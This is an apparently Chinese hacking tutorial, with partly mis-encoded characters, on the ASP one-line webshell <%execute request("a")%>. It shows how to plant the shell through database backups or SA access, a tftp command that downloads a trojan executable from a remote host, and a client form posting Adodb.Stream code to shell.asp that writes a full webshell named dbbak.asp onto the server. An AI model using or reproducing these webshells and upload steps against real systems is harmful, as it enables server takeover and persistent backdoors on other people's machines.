一句話木馬插入到asp文件中 :這個(gè)是當(dāng)然,一句話木馬本身就是asp文件。能夠用IE訪問(wèn):能訪問(wèn),我們才可以提交數(shù)據(jù)..只要能訪問(wèn)的都可以
通過(guò)HTTP協(xié)議來(lái)訪問(wèn)
一句話木馬的使用范圍(我只列舉了2種):
1)只有數(shù)據(jù)庫(kù)備份的情況
數(shù)據(jù)庫(kù)備份成asp文件時(shí)候,不出現(xiàn)“ 編譯錯(cuò)誤,缺少腳本關(guān)閉標(biāo)志%>"
2)SA權(quán)限的時(shí)候,一般先寫(xiě)入一句話,圖個(gè)方便..(當(dāng)然,直接tftp上傳鴿子運(yùn)行,那更快)
tftp -i ip get server.exe
一句話木馬<%execute request("a")%>的原理:
首先知道
execute()函數(shù),是用來(lái)執(zhí)行asp代碼的.就是負(fù)責(zé)執(zhí)行我們上傳的大馬,將馬交由asp.dll解析.上面的代碼<%execute request("a")%>可以這樣來(lái)解釋:
<%
if request("a")<>"" then execute request("a")
%>
如果a不為空的時(shí)候執(zhí)行.執(zhí)行什么呢?...
if a != 0
下面我們來(lái)看一下客戶端:
<form action=http://192.168.0.28/shell.asp method=post>
<textarea name=l cols=120 rows=10 width=45>
set lP=server.CreateObject("Adodb.Stream") '創(chuàng)建Adodb.Stream組件..
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("p")
lP.SaveToFile server.mappath("dbbak.asp"),2
lP.Close
set lP=nothing
response.redirect "dbbak.asp"
</textarea>
<textarea name=p cols=120 rows=10 width=45>要提交的數(shù)據(jù)</textarea><BR><center><br>
<input type=submit value=提交>
Adodb.Stream負(fù)責(zé)上傳讀取數(shù)據(jù)到
服務(wù)器:
組件:"Adodb.Stream"
有下列方法:
Cancel 方法
使用方法如下
Object.Cancel
說(shuō)明:取消執(zhí)行掛起的異步 Execute 或 Open 方法的調(diào)用。
WriteText 方法
使用方法如下:
Object.Write(Data,[Options])
說(shuō)明:將指定的文本數(shù)據(jù)裝入對(duì)像中。
參數(shù)說(shuō)明:Data 為指定的要寫(xiě)入的內(nèi)容。
Options 寫(xiě)入的選項(xiàng),可不指定,可選參數(shù)如下:
adWriteChar =0
adWriteLine =1
SaveToFile 方法
使用方法如下:
Object.SaveToFile(FileName,[Options])
說(shuō)明:將對(duì)像的內(nèi)容寫(xiě)到FileName指定的文件中
也就是我們保存木馬的文件名dbbak.asp
參數(shù)說(shuō)明:FileName指定的文件
Options 存取的選項(xiàng),可不指定,可選參數(shù)如下:
adSaveCreateNotExist =1
adSaveCreateOverWrite =2
提交一句話木馬后,a的值為空 等待一個(gè)寫(xiě)入的值 訪問(wèn)http://www.***.com/**.asp就是等待的過(guò)程 如何準(zhǔn)備用execute()這個(gè)函數(shù)來(lái)執(zhí)行...
創(chuàng)建一個(gè)Adodb.Stream,負(fù)責(zé)把我們的大馬寫(xiě)入到服務(wù)器當(dāng)中...
同時(shí),這個(gè)組件定義的變量SaveToFile定義了我們大馬的名字..dbbak.asp
提交到服務(wù)器后execute()函數(shù)檢測(cè)到a的值不為空了,所以就執(zhí)行了我們的大馬!